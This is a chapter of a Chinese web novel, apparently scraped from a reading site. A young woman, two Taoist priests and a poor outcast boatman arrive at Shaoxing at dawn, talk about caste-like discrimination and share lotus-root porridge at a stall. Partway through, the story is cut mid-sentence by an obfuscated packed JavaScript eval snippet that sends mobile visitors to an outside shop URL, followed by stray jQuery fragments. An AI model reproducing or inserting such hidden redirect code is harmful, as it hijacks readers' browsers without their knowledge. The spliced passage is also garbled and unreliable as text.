文趣网 > 其他小说 > 我不信你两眼空空 > 18. 第 18 章
    神思一点一点地苏醒,先是听得橹声,继而是江水拍打船身的声响,随后便有一股松香沁入鼻端。

    斐然还未睁眼,已觉出脸颊靠着的不是硬邦邦的舱壁,而是一只温热的臂膀。唇角不由向上一弯,手又悄悄地伸过去,轻轻抱住。

    正自得趣,忽听得头顶传来一道声音:“善信醒了?”

    这下可不好再装睡了,斐然只得揉揉眼睛,从李惟道手臂上抬起头来,望着他笑:“道长,早。”

    李惟道颔首:“善信,早。”

    “道长,你昨夜有没有睡着?”

    他“嗯”了一声:“贫道睡着了。”

    这时陈阿二从旁边探头,满脸笑意:“斐姑娘醒啦?”

    “醒了,醒了。”斐然笑说着,又侧首去看张惟龄,只见他仍靠在李惟龄肩头,张着嘴,兀自睡得香甜。

    “道长,我们到绍兴了吗?”她问。

    李惟道答:“快到了,约莫还有两刻。”

    斐然点头,探身去张望舱门,但见天色还是蓝幽幽的,尚未见曙光。她便缩回来,说:“天还没亮呢。”

    陈阿二接口道:“到绍兴天就亮哉,航船停在绍兴城西迎恩门,落了船,差不多城门也该开哉。”

    舱里已陆续有人醒来,窸窸窣窣。

    斐然不经意间一抬眼,正瞧见昨日那个货郎,满脸疲惫,眼睛底下挂着两团青黑,不住地打哈欠。想来是真怕她夜里去贴符,一夜没敢阖眼,她不禁失笑。

    “师兄,到了吗?”张惟龄用袖子拭去嘴角口水,迷迷糊糊地问。

    李惟道说:“马上就到。”

    话音刚落,便听得一阵“咕噜噜”的响动。张惟龄摸着肚子,不好意思地道:“我饿了。”

    陈阿二笑呵呵地说:“阿拉等歇进城里就先吃早饭,迎恩门该头老老热闹个,早饭摊子多得来勿得了,道长们想吃啥就吃啥,吃得饱饱个再去三埭街。”

    斐然听罢,伸出手指向自己:“等会儿早点我来请客哦。”

    陈阿二连连摆手:“勿来事,勿来事!哪能好让斐姑娘掏铜钿,我付,我会付个!”

    斐然故作不悦:“阿伯就不要同我客气了,你不让我请客,我会不开心的,你想让我不开心吗?”

    陈阿二被她这句话堵得没了词,过意不去地说:“李道长介样,斐姑娘阿介样,我老难为情。”

    李惟道在一旁道:“善信以后再来观里,多切两块糖就行了。”

    陈阿二忙不迭点头:“好好好!下趟我送道长们一盘麦芽糖。”

    张惟龄却摇首:“阿伯,侬勿要送,自己慢慢攒头发、攒破布,换来那几块糖才是最甜的,送的糖没有那个味道。”

    陈阿二先是一愣,随即笑说:“是是是,张道长讲得有道理,该下趟我再拨道长们炒爆爆豆,爆爆豆又香又脆,阿好吃。”

    说笑间,船身倏然一晃荡,舱外传来船公嘹亮的吆喝:“绍兴府迎恩门——迎恩门到哉——落船——落船哉——”

    斐然撑起身子,李惟道也提起药箱。等众人都依次往前走,他这才暗自揉了揉发麻的双臂,活动一下筋骨。

    一行人挤挤挨挨地出舱门,从木梯子爬上去,即有一阵清冽晨风扑面,带来深秋凉意,直吹得人精神一振。

    举目望去,天边已透出鱼肚白,远处迎恩门的城楼笼在一层青色薄雾之中。

    李惟道立于船头,迎着晨风,不觉吟道:“不知舟楫外,梦里绍兴城。”

    “这句诗好有感觉啊,”斐然说,“我们就是在梦里摇到了绍兴城。”

    李惟道转头看她,笑了笑:“只是随口一说。”言讫,又补一句,“多谢夸赞。”

    斐然望着他微笑的模样——

    看啊!他又在诱惑她了!

    那处船工已搭好船板,众人排队,鱼贯而上。

    下了船,继续跟随人流,很快便到迎恩门。城门尚未开启,门前却已聚集不少人。

    陈阿二走到斐然身旁,跟她道谢:“斐姑娘,多亏侬,我昨夜也困了个好觉。”

    斐然侧首,认真地跟他说:“阿伯,那些人都是欺软怕硬的,以后你强硬一点,他们就不敢随便欺负你了。”

    陈阿二沉默一会儿,方叹口气,道:“大家都活得辛苦,活得累,平民耍笑阿拉堕民,也就是寻个开心。有句老话讲:斧头吃凿子,凿子吃木头,一级吃一级。做人也是介样,皇帝百官是人上人,平民百姓是人下人,阿拉堕民更贱。农民种田摸地,进了城,要被城里人踩勒脚底。农民踩勿着城里人,看到阿拉堕民,也就想上来踩一踩,该样自家就觉着比上不足、比下有余,心里就舒服。阿拉堕民没办法,只能盼下辈子投个好胎。”

    斐然想说什么,又觉说什么都轻了,便没有开口。

    就在这时,太阳从山岗后探出了头,第一缕阳光越过城墙,挥洒在门楼上,将一块块青砖照得灿灿发亮。

    伴着一阵沉闷声响,厚重的城门向两边拉开。人群开始蠕动,有序地往里走。

    斐然穿过门洞,眼前一条宽阔长街直直通向远方,街两旁店铺鳞次栉比,檐牙错落。

    数不清的挑担小贩穿梭而过,先前同船的那些摊贩,此刻也挑着担子,飞快地融进这川流不息的早市里。此起彼伏的叫卖声一下子涌来,充斥在耳畔:

    “鸡蛋鸭蛋要哇——!”

    “长寿面,挂面——!”

    “麻糍、印糕、条头糕——!”

    “馄饨——透透鲜个馄饨——!”

    “暖胃入肚的卜卜汤团哉——!”

    “新鲜的芋艿、芋艿头哉——!”

    “刚断气的青菜、萝卜哉——!”

    “便宜新鲜的猪肉快来买呀——!”

    斐然站在喧嚣街口,望着来来往往的人流,蒸腾的白气从早点铺子冒出来,一缕一缕地升上天,不过须臾,又被晨风吹散,化在金色的阳光里。

    江南水乡鲜活的清晨,就这样在眼前铺展。她深深吸一口气,闻到好多香味。

    “斐姑娘,”陈阿二的声音从旁边传来,带着笑,“走,阿拉吃早饭去。”

    斐然含笑应声。

    没走多远,听见街边传来悠长吆喝:“噢~~藕粉,蜜蜜甜个热藕粉,快来买噢~~藕粉——”

    那嗓音拖着腔,打着转,听来很是有趣,一下勾住了斐然的脚。她循声望去,见街边支着一个藕粉摊子,便转身走过去。

    那摊贩是个四十来岁的汉子,生得敦实,围着一条蓝布围裙,手上正忙着冲洗一只大碗。见

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640799|206360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有客来,他将湿手在围裙上揩了揩,热络地招呼:“小道长,藕粉要来一碗伐?热乎乎个,暖暖胃。”

    斐然环视一圈,见街对面也有几家卖藕粉的,因问:“绍兴原来也盛产藕粉吗?”

    李惟道从后面走上来,回道:“绍兴自古便有‘芰荷之乡’的美称,因多沼泽浅涂,故而十分适宜莲藕种植。”

    那摊贩肯定道:“该位道长讲得对,阿拉绍兴藕粉,可不比杭州差。该些是刚摘来个秋藕磨个,老老新鲜。”

    他一面说,一面将藕粉上头的布揭开,用指尖拈起一撮,伸到斐然面前:“道长们看看我家藕粉,白伐?我洗得多少干净,每一道工序半点马虎勿得。我家做藕粉少讲讲也有二三十年,十斤鲜藕才晒出一斤左右个藕粉啦,从勿掺杂掺假。道长们吃了若觉着勿好吃,我勿收铜钿个!”

    斐然也觉这藕粉极白极细腻,果断竖起四根手指头:“那就来四碗。”

    “好好!”摊贩眉开眼笑,问她,“糖桂花要加伐?”

    张惟龄抢着答:“要个要个,怎么好吃怎么来!”

    “好嘞!”摊贩应一声,手脚麻利地忙活起来。

    只见他先取出一只粗瓷碗,舀一勺藕粉放入,又加些底糖,随即用冷开水徐徐将碗里藕粉拌湿,调成稀糊。

    一切备妥,他提起灶上铜壶,壶嘴一倾,沸水热腾腾地冲入碗中。说时迟那时快,那稀糊便如施了法术一般,随着水面升高,渐渐变得浓稠透亮。

    那摊贩一手冲水,一手快速搅拌,不多时,一碗韧滑可口、生津止渴的藕粉便成了。最后,他从一只小罐里拈出一撮糖桂花,洒在藕粉面上,金黄点点。

    四碗藕粉端上,四人围坐在摊子后头的小木桌前。那桌子矮矮的,板凳也是矮矮的,坐下去膝盖几乎要顶到桌沿。

    斐然舀一小勺送入口中。藕粉顺滑无比,甜而不腻,回味还有淡淡桂花香。她眯起眼,长长“嗯——”了一声,道:“好吃!”

    那边李惟道吃得斯文,陈阿二捧着碗,一口一口地抿着,再看张惟龄,早已唏哩呼噜地喝了大半碗。

    一碗热藕粉下肚,胃里暖暖的。斐然心满意足地搁碗,起身从怀里摸出绣花荷包。

    拉开系带,里头白花花一片,她低头拣了拣,拣出一块最小的银锭,放在摊贩的案板上。

    那摊贩低头一看,登时“哦哟”一声:“小道长,该个起码有一两唻,我找勿开个。”

    斐然一愣:“找不开?”

    摊贩苦笑道:“阿拉小本生意,来来去去就几个铜板,阿里找得开唷?”

    陈阿二赶紧站起来,抢步到前头:“斐姑娘,让我来,让我来。”言语间早从腰侧解开一串铜板,一边数一边问摊贩,“老师傅,总共多少铜钿啦?”

    摊贩便道:“五文一碗,四碗廿文。”

    陈阿二数出二十个铜板,双手递过去:“老师傅,侬数数看。”

    摊贩接过铜板,在掌心数一回,点清了,便将那一两银子递还斐然。

    斐然面上虽不说什么,眉眼间却分明有些不自在。陈阿二瞧出来了,笑着宽慰:“斐姑娘勿要勿开心,该趟我请,下趟侬再请我,日子长着,有机会个。”

    斐然将银子放回荷包,闷闷地道:“那好吧。”